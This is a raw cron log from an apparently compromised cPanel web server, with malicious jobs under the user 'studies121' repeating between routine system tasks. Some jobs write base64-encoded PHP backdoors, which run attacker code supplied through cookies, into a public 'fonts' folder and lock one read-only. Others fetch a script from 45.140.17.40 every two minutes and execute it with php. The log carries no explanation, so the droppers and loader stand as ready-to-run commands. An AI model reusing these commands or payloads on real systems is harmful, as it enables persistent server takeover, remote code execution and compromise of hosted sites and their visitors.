Sep  2 03:21:01 ip-184-168-122-23 CROND[2326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:21:01 ip-184-168-122-23 CROND[2328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:21:01 ip-184-168-122-23 CROND[2327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:22:01 ip-184-168-122-23 CROND[2410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:22:01 ip-184-168-122-23 CROND[2413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:22:01 ip-184-168-122-23 CROND[2412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:22:01 ip-184-168-122-23 CROND[2414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:22:01 ip-184-168-122-23 CROND[2415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:23:01 ip-184-168-122-23 CROND[2514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:23:01 ip-184-168-122-23 CROND[2515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:23:01 ip-184-168-122-23 CROND[2519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:23:01 ip-184-168-122-23 CROND[2520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:24:01 ip-184-168-122-23 CROND[2602]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:24:01 ip-184-168-122-23 CROND[2605]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:24:01 ip-184-168-122-23 CROND[2607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:24:01 ip-184-168-122-23 CROND[2604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:24:01 ip-184-168-122-23 CROND[2606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:25:01 ip-184-168-122-23 CROND[2696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:25:01 ip-184-168-122-23 CROND[2699]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:25:01 ip-184-168-122-23 CROND[2698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:25:01 ip-184-168-122-23 CROND[2700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:25:01 ip-184-168-122-23 CROND[2701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:25:01 ip-184-168-122-23 CROND[2702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:26:01 ip-184-168-122-23 CROND[2806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:26:01 ip-184-168-122-23 CROND[2808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:26:01 ip-184-168-122-23 CROND[2812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:26:01 ip-184-168-122-23 CROND[2810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:26:01 ip-184-168-122-23 CROND[2811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:27:01 ip-184-168-122-23 CROND[2977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:27:01 ip-184-168-122-23 CROND[2978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:27:01 ip-184-168-122-23 CROND[2981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:27:01 ip-184-168-122-23 CROND[2982]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  2 03:27:01 ip-184-168-122-23 CROND[2985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:28:01 ip-184-168-122-23 CROND[3075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:28:01 ip-184-168-122-23 CROND[3077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:28:01 ip-184-168-122-23 CROND[3078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:28:01 ip-184-168-122-23 CROND[3079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:28:01 ip-184-168-122-23 CROND[3080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:29:01 ip-184-168-122-23 CROND[3208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:29:01 ip-184-168-122-23 CROND[3209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:29:01 ip-184-168-122-23 CROND[3211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:29:01 ip-184-168-122-23 CROND[3213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:30:01 ip-184-168-122-23 CROND[3325]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:30:01 ip-184-168-122-23 CROND[3327]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:30:01 ip-184-168-122-23 CROND[3329]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:30:01 ip-184-168-122-23 CROND[3330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:30:01 ip-184-168-122-23 CROND[3331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:30:01 ip-184-168-122-23 CROND[3332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:30:01 ip-184-168-122-23 CROND[3334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:30:01 ip-184-168-122-23 CROND[3333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:31:01 ip-184-168-122-23 CROND[3444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:31:01 ip-184-168-122-23 CROND[3447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:31:01 ip-184-168-122-23 CROND[3449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:31:01 ip-184-168-122-23 CROND[3446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:31:01 ip-184-168-122-23 CROND[3448]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 03:32:01 ip-184-168-122-23 CROND[3561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:32:01 ip-184-168-122-23 CROND[3563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:32:01 ip-184-168-122-23 CROND[3564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:32:01 ip-184-168-122-23 CROND[3566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:32:01 ip-184-168-122-23 CROND[3565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:33:01 ip-184-168-122-23 CROND[3654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:33:01 ip-184-168-122-23 CROND[3656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
